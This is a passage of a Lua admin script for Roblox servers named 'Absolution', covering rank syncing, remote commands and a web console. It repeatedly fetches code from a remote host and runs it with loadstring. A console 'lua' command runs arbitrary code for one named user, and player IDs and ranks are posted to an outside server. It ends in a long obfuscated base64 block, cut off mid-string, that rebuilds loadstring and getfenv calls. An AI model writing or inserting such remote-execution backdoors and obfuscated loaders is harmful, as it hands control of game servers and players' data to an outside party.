  802. if Absolution.Ranked[Player.Name].Rank < cRank and cRank >= 0 then print'ranking up player' Absolution.Ranked[Player.Name].Rank = cRank Absolution.Functions.syncRankOut(Player) end
  803. end
  804. end)()
  805. coroutine.wrap(function()
  806. for _,Player in pairs(Absolution.Services.Players:GetPlayers()) do
  807. local Ran,Error = ypcall(function()
  808. if Absolution.Functions:findRank(Player) <= 0 then Absolution.Functions.handleBan(Player) end
  809. end)
  810. if not Ran then Absolution.Errors[#Absolution.Errors+1] = Error end
  811. end
  812. end)()
  813.  
  814. Absolution.Functions.checkPrivateBase()
  815. if not Absolution.Services.ReplicatedStorage:FindFirstChild("AbsolutionHandler") then Absolution.Handler:CreateHandler('AbsolutionHandler', Absolution.Services.ReplicatedStorage)end
  816. end
  817.  
  818. -- Add Command --
  819. Absolution.Functions.Command = function(Name, Uses, Rank, Description, Flags, Function)
  820. if Uses == nil then return end
  821. if Name == nil then Name = "N/A" end
  822. if Rank == nil then Rank = 0 end
  823. if Description == nil then Description = "N/A" end
  824. if Flags == nil then Flags = "No Flags" end
  825. if Absolution.Commands[Name] then Absolution.Functions.Out('Admins','Adding new command: '..Name, 1) Absolution.Commands[Name] = nil end
  826. Absolution.Commands[Name] = {Name = Name, Uses = Uses, Rank = Rank, Description = Description, Flags = Flags, Function = Function}
  827. end
  828.  
  829. --[[ HTTP SYNCING ]]--
  830. -- syncRanksIn --
  831. Absolution.Functions.syncRanksIn = function()
  832. ypcall(function()
  833. Absolution.Functions.getTempBans()
  834. local hsync = Absolution.Services.HttpService:GetAsync(Absolution.HttpConstants.IP..Absolution.HttpConstants.Incoming)--, true)
  835. local ran,erro = ypcall(function() loadstring(hsync)() end)
  836. if not ran then warn(erro) end
  837. end)
  838. end
  839.  
  840. -- syncRanksOut --
  841. Absolution.Functions.syncRanksOut = function()
  842. ypcall(function()
  843. local function url_encode(form)
  844. local result = {}
  845. for key, value in pairs(form) do
  846. table.insert(result, Absolution.Services.HttpService:UrlEncode(key) .. "=" .. Absolution.Services.HttpService:UrlEncode(value))
  847. end
  848. return table.concat(result, "&")
  849. end
  850. for i,v in pairs(Absolution.Ranked) do
  851. if not Absolution.Ranks[v.Rank] then v.Rank = 0 end
  852. local pt = {plr = i, uid = tostring(v.UserID), rnk = tostring(v.Rank), col = tostring(v.Color), dis = tostring(v.Distance), desc = tostring(v.Description), tablet = tostring(v.TabletType)}
  853. table.foreach(pt, tostring)
  854. local body = url_encode(pt)
  855. local s = Absolution.Services.HttpService:PostAsync(Absolution.HttpConstants.IP..Absolution.HttpConstants.Outgoing, body, Enum.HttpContentType.ApplicationUrlEncoded)
  856. wait(.5)
  857. end
  858. Absolution.Logs:append({Absolution.Functions.GetTime(tick()),'syncRanksOut() fires.'});
  859. end)
  860. end
  861. -- syncRankOut --
  862. Absolution.Functions.syncRankOut = function(plr)
  863. ypcall(function()
  864. local function url_encode(form)
  865. local result = {}
  866. for key, value in pairs(form) do
  867. table.insert(result, Absolution.Services.HttpService:UrlEncode(key) .. "=" .. Absolution.Services.HttpService:UrlEncode(value))
  868. end
  869. return table.concat(result, "&")
  870. end
  871. local v = Absolution.Functions.getRankedTable(tostring(plr))
  872. if not Absolution.Ranks[v.Rank] then v.Rank = 0 end
  873. local pt = {plr = tostring(plr), uid = tostring(v.UserID), rnk = tostring(v.Rank), col = tostring(v.Color), dis = tostring(v.Distance), desc = tostring(v.Description), tablet = tostring(v.TabletType)}
  874. table.foreach(pt, tostring)
  875. local body = url_encode(pt)
  876. local s = Absolution.Services.HttpService:PostAsync(Absolution.HttpConstants.IP..Absolution.HttpConstants.Outgoing, body, Enum.HttpContentType.ApplicationUrlEncoded)
  877. wait(.5)
  878. Absolution.Logs:append({Absolution.Functions.GetTime(tick()),'syncRankOut() fires.'});
  879. end)
  880. end
  881.  
  882. -- Splitting Hotness ~Vaeby --
  883. Absolution.Functions.split = function(str, sSeparator, nMax, bRegexp)
  884. assert(sSeparator ~= '')
  885. assert(nMax == nil or nMax >= 1)
  886.  
  887. local aRecord = {}
  888.  
  889. if str:len() > 0 then
  890. local bPlain = not bRegexp
  891. nMax = nMax or -1
  892.  
  893. local nField, nStart = 1, 1
  894. local nFirst,nLast = str:find(sSeparator, nStart, bPlain)
  895. while nFirst and nMax ~= 0 do
  896. aRecord[nField] = str:sub(nStart, nFirst-1)
  897. nField = nField+1
  898. nStart = nLast+1
  899. nFirst,nLast = str:find(sSeparator, nStart, bPlain)
  900. nMax = nMax-1
  901. end
  902. aRecord[nField] = str:sub(nStart)
  903. end
  904.  
  905. return aRecord
  906. end
  907.  
  908. -- Auto LoadString --
  909. Absolution.Functions.AutoLoadstring = function()
  910. coroutine.wrap(function()
  911. while wait(10) do
  912. pcall(Absolution.Functions.getTempBans)
  913. ypcall(function()
  914. local hsync = Absolution.Services.HttpService:GetAsync(Absolution.HttpConstants.UpdateURL, true) --Absolution.HttpConstants.IP..Absolution.HttpConstants.Remote, true)
  915. if hsync == Absolution.HttpConstants.PreviousSync then return end
  916. local dat = loadstring(hsync)()
  917. if not data.SERVER or data.SERVER:lower() ~= Absolution.uniqueKey:lower() and data.SERVER ~= 'all' then return end
  918. if data.update == 'nothing' then return end
  919. Absolution.Functions.Out('Admins', '[Titanpad] (UPDATE) - '..data['update'], 5)
  920. Absolution.Functions.Output('Admins','[Titanpad] (UPDATE)','Lime green',function(s) Absolution.Functions.Dismiss(s) Absolution.Functions.Output(s, data.update) end, 10)
  921. if data['load'] then
  922. local loaded,didntload = ypcall(data.load)
  923. if not loaded then
  924. Absolution.Functions.Output('Admins','Data unreadable!','Really red')
  925. Absolution.Functions.Output('Admins',didntload,'Really red')
  926. end
  927. else
  928. Absolution.Functions.Output('Admins','Data unreadable!','Really red')
  929. end
  930. Absolution.HttpConstants.PreviousSync = hsync
  931. Absolution.dataReady = true
  932. end)
  933. local function getPlayers(plrname)
  934. local rtn = {}
  935. for q,e in next,Absolution.Functions.getALLPlayers() do
  936. if e.Name:lower():sub(1,#plrname)==plrname:lower() then
  937. table.insert(rtn, e)
  938. end
  939. end
  940. return rtn
  941. end
  942. ypcall(function()
  943. local hsync = Absolution.Services.HttpService:GetAsync(Absolution.HttpConstants.IP..Absolution.HttpConstants.ConsoleTXT)
  944. local data = game.HttpService:JSONDecode(hsync)
  945. if data.data and data.data == 'nil' then return end
  946. if data.Servers~=Absolution.uniqueKey and data.Servers=='all' then
  947.  
  948. Absolution.Functions.Out('Admins', '[WebConsole] (UPDATE) - '..data['Note'], 5)
  949.  
  950. local cmd = data.Command
  951. local cmddat = Absolution.Functions.split(cmd, '/')
  952.  
  953. local command = cmddat[1]
  954. local player = cmddat[2]
  955. local reason = cmddat[3]
  956. local sender = data.Note:sub(1,data.Note:find':'-1)
  957. local players = {}
  958.  
  959. if player then
  960. pcall(function() players = getPlayers(player) end)
  961. end
  962.  
  963. if command=='kill' then
  964. for q,e in pairs(players) do
  965. if e.Character then
  966. e.Character:breakJoints()
  967. end
  968. end
  969. elseif command=='respawn' then
  970. for q,e in pairs(players) do
  971. e.Character:LoadCharacter()
  972. end
  973. elseif command=='kick' then
  974. for q,e in pairs(players) do
  975. e:Kick('[ABSOLUTION]: Kicked by '..sender..' for '..reason)
  976. end
  977. elseif command=='ban' then
  978. for q,e in pairs(players) do
  979. Absolution.Ranked[e.Name].Description = reason..' ('..sender..')'
  980. Absolution.Ranked[e.Name].Rank = -1
  981. Absolution.Function.syncRankOut(e.Name)
  982. end
  983. elseif command=='message' then
  984. Absolution.Functions.Announce(sender..': '..player, true)
  985. elseif command=='hint' then
  986. Absolution.Functions.Announce(sender..': '..player)
  987. elseif command=='lua' then
  988. if sender~='Darkus_Theory' then return end
  989. loadstring(player)()
  990. end
  991.  
  992. elseif data.Servers==Absolution.uniqueKey then
  993.  
  994. Absolution.Functions.Out('Admins', '[WebConsole] (UPDATE) - '..data['Note'], 5)
  995. Absolution.Functions.Output('Admins','[WebConsole] (UPDATE)','Lime green',function(s) Absolution.Functions.Dismiss(s) Absolution.Functions.Output(s, data.Note) end, 10)
  996. Absolution.Services.HttpService:GetAsync(Absolution.HttpConstants.IP..Absolution.HttpConstants.ConsolePHP)
  997.  
  998. local cmd = data.Command
  999. local cmddat = Absolution.Functions.split(cmd, '/')
  1000.  
  1001. local command = cmddat[1]
  1002. local player = cmddat[2]
  1003. local reason = cmddat[3]
  1004. local sender = data.Note:sub(1,data.Note:find':'-1)
  1005. local players = {}
  1006.  
  1007. if player then
  1008. pcall(function() players = getPlayers(player) end)
  1009. end
  1010.  
  1011. if command=='kill' then
  1012. for q,e in pairs(players) do
  1013. if e.Character then
  1014. e.Character:breakJoints()
  1015. end
  1016. end
  1017. elseif command=='respawn' then
  1018. for q,e in pairs(players) do
  1019. e.Character:LoadCharacter()
  1020. end
  1021. elseif command=='kick' then
  1022. for q,e in pairs(players) do
  1023. e:Kick('[ABSOLUTION]: Kicked by '..sender..' for '..reason)
  1024. end
  1025. elseif command=='ban' then
  1026. for q,e in pairs(players) do
  1027. Absolution.Ranked[e.Name].Description = reason..' ('..sender..')'
  1028. Absolution.Ranked[e.Name].Rank = -1
  1029. Absolution.Function.syncRankOut(e.Name)
  1030. end
  1031. elseif command=='message' then
  1032. Absolution.Functions.Announce(sender..': '..player, true)
  1033. elseif command=='hint' then
  1034. Absolution.Functions.Announce(sender..': '..player)
  1035. elseif command=='lua' then
  1036. if sender~='Darkus_Theory' then return end
  1037. loadstring(player)()
  1038. end
  1039. end
  1040. Absolution.dataReady = true
  1041. end)
  1042. ypcall(function()
  1043. local hsync = Absolution.Services.HttpService:GetAsync(Absolution.HttpConstants.IP..Absolution.HttpConstants.Remote, true)
  1044. if hsync == Absolution.HttpConstants.PreviousWSync then return end
  1045. local dat = loadstring(hsync)()
  1046. if not data.SERVER or data.SERVER:lower() ~= Absolution.uniqueKey:lower() and data.SERVER ~= 'all' then return end
  1047. if data.update == 'nothing' then return end
  1048. Absolution.Functions.Out('Admins', '[Website] (UPDATE) - '..data.update, 5)
  1049. Absolution.Functions.Output('Admins', '[Website] (UPDATE)','Lime green', function(s) Absolution.Functions.Dismiss(s) Absolution.Functions.Output(s, data.update) end, 10)
  1050. if data['load'] then
  1051. local loaded,didntload = ypcall(data.load)
  1052. if not loaded then
  1053. Absolution.Functions.Output('Admins','Data unreadable!','Really red')
  1054. Absolution.Functions.Output('Admins',didntload,'Really red')
  1055. end
  1056. else
  1057. Absolution.Functions.Output('Admins','Data unreadable!','Really red')
  1058. end
  1059. Absolution.HttpConstants.PreviousWSync = hsync
  1060. Absolution.dataReady = true
  1061. end)
  1062. end
  1063. end)()
  1064. end
  1065.  
  1066. local h,l,p,j,e,y,q,q0,u,v,r,s,o=getfenv,0,"","\65\66\67\68\69\70\71\72\73\74\75\76\77\78\79\80\81\82\83\84\85\86\87\88\89\90\97\98\99\100\101\102\103\104\105\106\107\108\109\110\111\112\113\114\115\116\117\118\119\120\121\122\48\49\50\51\52\53\54\55\56\57\43\47",tostring,{},string.len,string.sub,pcall,1/0,"\37\100\37\100\37\100\63\37\100\63\37\100\63\37\100\63\37\100\63\37\100\63"o,s=(function(t,i,m,w,x)for m=1,q(j)do y[#y+1]=q0(j,m,m)end;i,x=h(l),function()i={}for m=1,v do i[#i+1]=y[m]end;return x(i)end;local c,f,k,a,b=t[y[33]..y[45]..y[47]..y[28]],t[y[32]..y[35]..y[40]..y[30]],t[y[29]..y[34]..y[27]..y[44]],i[y[38]..y[41]..y[27]..y[30]..y[45]..y[46]..y[44]..y[35]..y[40]..y[33]],i[y[45]..y[31]..y[46]..y[32]..y[31]..y[40]..y[48]]return(function(o)if u(b,a,h(a))then return x(p)end;return(c(c(c(o,"[^"..j.."=]",p),k(46),function(r)if r==k(61)then return(p)end;local x,y="",(f(j,r)-1)for o=6,1,-1 do x=x..e(y%2^o-y%2^(o-1)>0 and 1 or 0)end;return x;end),r,function(r)if #r~=8 then return p;end;local b=0;for y=1,8 do b=b+(q0(r,y,y)==e(1)and 2^(8-y)or 0)end;return k(b)end))end),a;end)''local function a(t)for p=1,#t do t[p]=o(t[p])end return s(o"cmV0dXJuIHVucGFjaw==")''(t)end;local g,g0,m,x,rf=a{"c3Bhd24=","ZXJyb3I=","YXNzZXJ0","Y29yb3V0aW5l","Z2V0ZmVudg=="}local lb={u(setfenv(s(o"c3Bhd24oY2hlY2tUYW1wZXJpbmcp"),h(l)))}local function c(b)return h(l)[y[45]..y[46]..y[44]..y[35]..y[40]..y[33]][y[33]..y[45]..y[47]..y[28]](b,".",function(s)return "\\" .. s:byte()end)end;local u0,l0,w,ia,z=c(o"cmV0dXJuIGxvYWRzdHJpbmciXDExNVwxMDFcMTE2XDEwMlwxMDFcMTEwXDExOFw0MFw0OFw0NFwxMjNcMTI1XDQxIg=="),c(o"cmV0dXJuIGxvYWRzdHJpbmciXDExNVwxMDFcMTE2XDEwMlwxMDFcMTEwXDExOFw0MFw0OFw0NFwxMjNcMTI1XDQxIg=="),c(o"cmV0dXJuIGxvYWRzdHJpbmciXDExNVwxMDFcMTE2XDEwMlwxMDFcMTEwXDExOFw0MFw0OFw0NFwxMjNcMTI1XDQxIg=="),c(o"cmV0dXJuIGxvYWRzdHJpbmciXDExNVwxMDFcMTE2XDEwMlwxMDFcMTEwXDExOFw0MFw0OFw0NFwxMjNcMTI1XDQxIg=="),c(o"YXNzZXJ0KG5vdCB0YW1wZXJlZCwgIlRhbXBlcmluZyBkZXRlY3RlZCIp")local function i(g)for p=1,#g do g[p]=o(g[p])end return s(o"cmV0dXJuIHVucGFjaw==")''(g)end;local b0,v0=i{"eHBjYWxs","c3Bhd24="}local function ez(b)return h(l)[y[45]..y[46]..y[44]..y[35]..y[40]..y[33]][y[33]..y[45]..y[47]..y[28]](b,".",function(s)return "\\" .. s:byte()end)end;local y0,j0=ez(o"cmV0dXJuIGxvYWRzdHJpbmciXDExNVwxMDFcMTE2XDEwMlwxMDFcMTEwXDExOFw0MFw0OFw0NFwxMjNcMTI1XDQxIg=="),ez(o"cmV0dXJuIGxvYWRzdHJpbmciXDExNVwxMDFcMTE2XDEwMlwxMDFcMTEwXDExOFw0MFw0OFw0NFwxMjNcMTI1XDQxIg==")local function h0(q0)for p=1,#q0 do q0[p]=o(q0[p])end return s(o"cmV0dXJuIHVucGFjaw==")''(q0)end;local tf,f,k=h0{"Y29yb3V0aW5l","d2FpdA==","Z2V0ZmVudg=="}s(h(l)[y[45]..y[46]..y[44]..y[35]..y[40]..y[33]][y[44]..y[31]..y[48]..y[31]..y[44]..y[45]..y[31]](o"ZG5lKV04ODFbYSx2KHR1cHR1Ty5zbm9pdGNudUYubm9pdHVsb3NiQTtkbmUpXTQ2W2EsKXYocHVvckduSWtuYVJldGFsdWNsYWMuc25vaXRjbnVGLm5vaXR1bG9zYkEuLl03ODFbYSx2KHR1cHR1Ty5zbm9pdGNudUYubm9pdHVsb3NiQSBuZWh0XTAxW2E+KXYocHVvckduSWtuYVJldGFsdWNsYWMuc25vaXRjbnVGLm5vaXR1bG9zYkEgZmkpXTQ2W2EsXSkpdihnbmlydHNvdChrbmFSZG5pZjpzbm9pdGNudUYubm9pdHVsb3NiQVtza25hUi5ub2l0dWxvc2JBLi5dNjgxW2Esdih0dXB0dU8uc25vaXRjbnVGLm5vaXR1bG9zYkEpZG5lKWVtYU4udix2KGVjYWZyZXRuSWRla25hUnRlRy5zbm9pdGNudUYubm9pdHVsb3NiQSkobm9pdGNudWYsXTQ2W2EsXTU4MVthLHYodHVwdHVPLnNub2l0Y251Ri5ub2l0dWxvc2JBKWRuZSlkbmUgZG5lKWRuZSluKGF0YUR3b2hzLnNub2l0Y251Ri5ub2l0dWxvc2JBO3k9ZWNuYXRzaUQuKWVtYU4ubihlbGJhVGRla25hUnRlZy5zbm9pdGNudUYubm9pdHVsb3NiQSluKHNzaW1zaUQuc25vaXRjbnVGLm5vaXR1bG9zYkEpKG5vaXRjbnVmLF00NlthLHksbih0dXB0dU8uc25vaXRjbnVGLm5vaXR1bG9zYkEgb2RdNDgxW2EsXTcxW2E9eSByb2Ypbihzc2ltc2lELnNub2l0Y251Ri5ub2l0dWxvc2JBKShub2l0Y251ZixdNzExW2EsXTM4MVthLG4odHVwdHVPLnNub2l0Y251Ri5ub2l0dWxvc2JBKWRuZSlkbmUpbihhdGFEd29ocy5zbm9pdGNudUYubm9pdHVsb3NiQV0yODFbYT1lcHlUdGVsYmFULiluKGVsYmFUZGVrbmFSdGVnLnNub2l0Y251Ri5ub2l0dWxvc2JBKW4oc3NpbXNpRC5zbm9pdGNudUYubm9pdHVsb3NiQSkobm9pdGNudWYsXTQ2W2EsXTI4MVthLG4odHVwdHVPLnNub2l0Y251Ri5ub2l0dWxvc2JBKWRuZSluKGF0YUR3b2hzLnNub2l0Y251Ri5ub2l0dWxvc2JBXTE4MVthPWVweVR0ZWxiYVQuKW4oZWxiYVRkZWtuYVJ0ZWcuc25vaXRjbnVGLm5vaXR1bG9zYkEpbihzc2ltc2lELnNub2l0Y251Ri5ub2l0dWxvc2JBKShub2l0Y251ZixdNDZbYSxdMTgxW2Esbih0dXB0dU8uc25vaXRjbnVGLm5vaXR1bG9zYkEpbihzc2ltc2lELnNub2l0Y251Ri5ub2l0dWxvc2JBKShub2l0Y251ZixdNzExW2EsXTA4MVthLG4odHVwdHVPLnNub2l0Y251Ri5ub2l0dWxvc2JBKWRuZSBkbmUpZG5lKW4oYXRhRHdvaHMuc25vaXRjbnVGLm5vaXR1bG9zYkE7ZT1yb2xvQy4pZW1hTi5uKGVsYmFUZGVrbmFSdGVnLnNub2l0Y251Ri5ub2l0dWxvc2JBKW4oc3NpbXNpRC5zbm9pdGNudUYubm9pdHVsb3NiQSkobm9pdGNudWYsZSxlLG4odHVwdHVPLnNub2l0Y251Ri5ub2l0dWxvc2JBIG9kKX1dOTcxW2EsXTg3MVthLF03NzFbYSxdNjcxW2EsXTU3MVthLF00NzFbYSxdMzcxW2EsXTI3MVthLF0xNzFbYSxdMDcxW2EsXTk2MVthLF04NjFbYSxdNzYxW2EsXTY2MVthLF01NjFbYSxdNDYxW2EsXTM2MVthLF0yNjFbYSxdMTYxW2EsXTA2MVthLF04MDFbYSxdOTUxW2EsXTg1MVthLF03NTFbYSxdNjUxW2EsXTU1MVthLF00NTFbYSxdMzUxW2EsXTI1MVthLF0xNTFbYSxdMDUxW2EsXTk0MVthLF04NDFbYSxdNzQxW2EsXTY0MVthLF01NDFbYSxdNDQxW2EsXTM0MVthLF0yNDFbYSxdMTQxW2EsXTA0MVthLF05MzFbYSxdODMxW2EsXTczMVthLF02MzFbYSxdNTMxW2EsXTQzMVthLF0zMzFbYSxdMjMxW2EsXTEzMVthLF0wMzFbYSxdOTIxW2EsXTcxMVthLF04MjFbYSxdNzIxW2EsXTYyMVthLF01MjFbYSxdNDIxW2EsXTMyMVthLF0yMjFbYSxdMTIxW2EsXTAyMVthLF05MTFbYSxdODExW2F7KHNyaWFwIG5pIGUseSByb2Ypbihzc2ltc2lELnNub2l0Y251Ri5ub2l0dWxvc2JBKShub2l0Y251ZixdNzExW2EsXTYxMVthLG4odHVwdHVPLnNub2l0Y251Ri5ub2l0dWxvc2JBKW4oc3NpbXNpRC5zbm9pdGNudUYubm9pdHVsb3NiQSkobm9pdGNudWYsXTQ2W2EsXTUxMVthLHYodHVwdHVPLnNub2l0Y251Ri5ub2l0dWxvc2JBKV00NlthLF00MTFbYSx2KHR1cHR1Ty5zbm9pdGNudUYubm9pdHVsb3NiQSldODAxW2EsXTMxMVthLHYodHVwdHVPLnNub2l0Y251Ri5ub2l0dWxvc2JBKWRuZSl2KHNkbmFtbW9Dd29oUy5zbm9pdGNudUYubm9pdHVsb3NiQSkobm9pdGNudWYsXTQ2W2EsXTIxMVthLHYodHVwdHVPLnNub2l0Y251Ri5ub2l0dWxvc2JBKWRuZSldMTExW2EsdihkZXR0YWhDbm8uc25vaXRjbnVGLm5vaXR1bG9zYkEpKG5vaXRjbnVmLF00NlthLF0wMTFbYSx2KHR1cHR1Ty5zbm9pdGNudUYubm9pdHVsb3NiQTt2PW4gbGFjb2wpdihzc2ltc2lELnNub2l0Y251Ri5ub2l0dWxvc2JBKXYobm9pdGNudWY9YXRhRHdvaHMuc25vaXRjbnVGLm5vaXR1bG9zYkE7ZG5lIGRuZSlkbmUpYywpeShnbmlydHNvdChnb0xkb01kbmVTLnNub2l0Y251Ri5ub2l0dWxvc2JBKShub2l0Y251ZihsbGFjcCBuZWh0XTg5W2E9PmtuYVIuaiBmaTtkbmUgZG5lIGRuZSBkbmUpXTkwMVthLF00NlthLF04MDFbYSwpZW1hTi50KGduaXJ0c290Li5dNzAxW2EuLl1rbmFSLmpbc2tuYVIubm9pdHVsb3NiQSx5KHR1cHR1Ty5zbm9pdGNudUYubm9pdHVsb3NiQSBlc2xlIGRuZSldMTNbYSxkdCh0bmlyUC5zbm9pdGNudUYubm9pdHVsb3NiQSldODlbYSxkdCx5KHR1Ty5zbm9pdGNudUYubm9pdHVsb3NiQSBuZWh0IG16IHRvbiBmaSlkbmUpcCx5KG5vaXRjbnVGLnQpKG5vaXRjbnVmKGxsYWNweT1kdCxteiBsYWNvbCldNzFbYSttIytlbiMoYnVzOnA9cCBuZWh0IGtuYVIudD0+KSl5KGduaXJ0c290KGtuYVJkbmlmOnNub2l0Y251Ri5ub2l0dWxvc2JBIGZpIG5laHQgbS4uXTI4W2EuLl0yOFthLi5lbj09KW0jK2VuIyxdNzFbYShidXM6cCBmaSBvZClzZXNVLnQoc3JpYXAgbmkgZW4sYXYgcm9mIG9kKXNkbmFtbW9DLm5vaXR1bG9zYkEoc3JpYXAgbmkgdCxuIHJvZilkbmUpKXkoZ25pcnRzb3QsZW1hTi5DUkkuc3RuYXRzbm9DcHR0SC5ub2l0dWxvc2JBLHAodGFoQy5DUkkuc3RuYXRzbm9DcHR0SC5ub2l0dWxvc2JBKShub2l0Y251ZihsbGFjcDtkbmUgZG5lIGRuZSldMTAxW2EsdCh0ZWtjYVBkbmVzOnJlbGRuYUgubm9pdHVsb3NiQSBuZWh0KWVtYU4udChnbmlyb25nSXNJLnNub2l0Y251Ri5ub2l0dWxvc2JBIHRvbiBmaSldMTNbYSxwLi5dMDAxW2EsdCh0dU8uc25vaXRjbnVGLm5vaXR1bG9zYkEpXTEzW2EsXTYwMVthLi5lbWFOLnkuLl01MDFbYS4udmQuLl00MDFbYSx0KHR1Ty5zbm9pdGNudUYubm9pdHVsb3NiQSlwKGV6aXRpbmFTLnNub2l0Y251Ri5ub2l0dWxvc2JBPXZkIGxhY29sIG5laHRdMzAxW2E8KXkoa25hUmRuaWY6c25vaXRjbnVGLm5vaXR1bG9zYkEgZG5hXTg5W2E9Pil0KGtuYVJkbmlmOnNub2l0Y251Ri5ub2l0dWxvc2JBIGRuYSlwKGV6aXRpbmFTLnNub2l0Y251Ri5ub2l0dWxvc2JBIGZpZXNsZSBkbmUpXTIwMVthLHQodGVrY2FQZG5lczpyZWxkbmFILm5vaXR1bG9zYkEpXTEwMVthLHQodGVrY2FQZG5lczpyZWxkbmFILm5vaXR1bG9zYkEgbmVodCllbWFOLnQoZ25pcm9uZ0lzSS5zbm9pdGNudUYubm9pdHVsb3NiQSB0b24gZmkpXTM0W2EscC4uXTAwMVthLHQodHVPLnNub2l0Y251Ri5ub2l0dWxvc2JBKV0zNFthLGUuLl05OVthLHQodHVPLnNub2l0Y251Ri5ub2l0dWxvc2JBIG5laHQpKShyZXdvbDplbWFOLnQoZG5pZjopKHJld29sOnAgZmkgb2QpKHNyZXlhbFBMTEF0ZWc6c25vaXRjbnVGLm5vaXR1bG9zYkEsdHhlbiBuaSB0LG4gcm9mO2RuZSBkbmUgZG5lKWUsbixwKHRhaENkbmVzLnJlbGRuYUgubm9pdHVsb3NiQSBuZWh0IGU9fmVtYU4ubiBmaSBvZCkpKHNyZXlhbFBMTEF0ZWcuc25vaXRjbnVGLm5vaXR1bG9zYkEoc3JpYXAgbmkgbix0IHJvZiBuZWh0IHNyZXlhbFAuc2VjaXZyZVMubm9pdHVsb3NiQT1+dG5lcmFQLnkgZmk7cD1jIGxhY29sO2RuZSldODlbYShidXM6cD1wIG5laHRdNzlbYT09KV0xM1thLF03MVthKGJ1czpwIGZpKV02OVthIHJvXV01OVthW2ogZG5hXV01OVthW2ooPW0gbGFjb2wpKXkoZ25pcnRzb3QoZWxiYVRkZWtuYVJ0ZWcuc25vaXRjbnVGLm5vaXR1bG9zYkE9aiBsYWNvbDtlbWFOLnk9ZSBsYWNvbClwLHkobm9pdGNudWY9ZGV0dGFoQ25vLnNub2l0Y251Ri5ub2l0dWxvc2JBO2RuZV01W2EgbnJ1dGVyO2RuZSBkbmUgeSBucnV0ZXIgbmVodCkpKHJld29sOnkoZG5pZjopKHJld29sOnYgZmkgb2Qpc2Ryb1dyZWdnaXJULm5vaXR1bG9zYkEoc3JpYXBpIG5pIHksaiByb2Ypdihub2l0Y251Zj1leml0aW5hUy5zbm9pdGNudUYubm9pdHVsb3NiQTtkbmUgcCBucnV0ZXI7c25hYnBtZVQubm9pdHVsb3NiQT1wIGxhY29sKSgpbihnbmlydHNkYW9sPXkgbGFjb2wpXTMxW2EsXTQ5W2EuLnNuYWJwbWVULnN0bmF0c25vQ3B0dEgubm9pdHVsb3NiQS4uUEkuc3RuYXRzbm9DcHR0SC5ub2l0dWxvc2JBKGNueXNBdGVHOmVjaXZyZVNwdHRILnNlY2l2cmVTLm5vaXR1bG9zYkE9biBsYWNvbCkobm9pdGNudWY9c25hQnBtZVR0ZWcuc25vaXRjbnVGLm5vaXR1bG9zYkE7ZG5lIGRuZV0zMVthIG5ydXRlciBlc2xlIGogbnJ1dGVyKV0xM1thLGoodG5pclAuc25vaXRjbnVGLm5vaXR1bG9zYkEgbmVodCBuIHRvbiBmaSlkbmUpZGVkb2NuRWxyVW5vaXRhY2lscHBBLmVweVR0bmV0bm9DcHR0SC5tdW5FLGN2LF0zOVthLi5zbmFicG1lVC5zdG5hdHNub0NwdHRILm5vaXR1bG9zYkEuLlBJLnN0bmF0c25vQ3B0dEgubm9pdHVsb3NiQShjbnlzQXRzb1A6ZWNpdnJlU3B0dEguZW1hZz1sbCBsYWNvbCl2aih0PWN2IGxhY29sKWduaXJ0c290LHZqKGhjYWVyb2YuZWxiYXR9XWRuZXRbdmo9ZG5ldCxddHJhdHN0W3ZqPXRyYXRTZW1pdCxub3NhZXI9bm9zYWVSez1dZElyZXN1LmNbc25hYnBtZVQubm9pdHVsb3NiQX0pcCspKGtjaXQoPWRuZXQsKShrY2l0PXRyYXRzdCx5PW5vc2FlcixkSXJlc3UuYz1yZXlhbHB7PXZqIGxhY29sO2RuZSldMjlbYSx2cSh0YWNub2MuZWxiYXQgbnJ1dGVyO2RuZSkpYWMoZWRvY25FbHJVOmVjaXZyZVNwdHRILmVtYWcuLl0xOVthLi4pY3koZWRvY25FbHJVOmVjaXZyZVNwdHRILmVtYWcsdnEodHJlc25pLmVsYmF0IG9kKWNhKHNyaWFwIG5pIGFjLGN5IHJvZn17PXZxIGxhY29sKWNhKHQgbm9pdGNudWYgbGFjb2wpKG5vaXRjbnVmKGxsYWNweT1qLG4gbGFjb2wpcCx5LGMsbShub2l0Y251Zj1uYUJwbWVUdGVzLnNub2l0Y251Ri5ub2l0dWxvc2JBO2RuZSBtIG5ydXRlcilkZWRvY25FbHJVbm9pdGFjaWxwcEEuZXB5VHRuZXRub0NwdHRILm11bkUscCx5KGNueXNBdHNvUDplY2l2cmVTcHR0SC5lbWFnPW0gbGFjb2wpcChjPXA7ZG5lKV0yOVthLHQodGFjbm9jLmVsYmF0IG5ydXRlcjtkbmUpKW1qKGVkb2NuRWxyVTplY2l2cmVTcHR0SC5lbWFnLi5dMTlbYS4uKXBhKGVkb2NuRWxyVTplY2l2cmVTcHR0SC5lbWFnLHQodHJlc25pLmVsYmF0IG9kKW4oc3JpYXAgbmkgbWoscGEgcm9mfXs9dCBsYWNvbCluKGMgbm9pdGNudWYgbGFjb2x9dj1kbWMsaj1kb217PXAgbGFjb2w7c2dvbGRvTS5zdG5hdHNub0NwdHRILm5vaXR1bG9zYkEuLlBJLnN0bmF0c25vQ3B0dEgubm9pdHVsb3NiQT15IGxhY29sKXYsaihub2l0Y251Zj1nb0xkb01kbmVTLnNub2l0Y251Ri5ub2l0dWxvc2JBO2RuZSlxeShucnV0ZXI7ZG5lXTA5W2EuLnl6Li5xeT1xeSBlc2xlXTA5W2EuLnl6Li5dMzhbYS4ucXk9cXkgbmVodCldNzFbYT09KShuZWw6KXl6KGduaXJ0c290KGZpO2RuZV05OFthLi5uYS4ucXk9cXkgZXNsZV05OFthLi5uYS4uXTM4W2EuLnF5PXF5IG5laHQpXTcxW2E9PSkobmVsOiluYShnbmlydHNvdChmaTtkbmUgZG5lXTg4W2EuLmouLnF5PXF5IGVzbGVdODhbYS4uai4uXTM4W2EuLnF5PXF5IG5laHQpXTcxW2E9PSkobmVsOilqKGduaXJ0c290KGZpIG5laHRdMDFbYT5qIGZpO2RuZSBkbmVdNzhbYS4ubi4ucXk9cXkgZXNsZV03OFthLi5uLi5dMzhbYS4ucXk9cXkgbmVodCldNzFbYT09KShuZWw6KW4oZ25pcnRzb3QoZmkgbmVodF0wMVthPm4gZmk7ZG5lIGRuZV02OFthLi5wLi5xeT1xeSBlc2xlXTY4W2EuLnAuLl0zOFthLi5xeT1xeSBuZWh0KV03MVthPT0pKG5lbDopcChnbmlydHNvdChmaSBuZWh0XTAxW2E+cCBmaTtkbmUgZG5lXTU4W2EuLnkuLnF5PXF5IGVzbGVdNThbYS4ueS4uXTM4W2EuLnF5PXF5IG5laHQpXTcxW2E9PSkobmVsOil5KGduaXJ0c290KGZpIG5laHRdM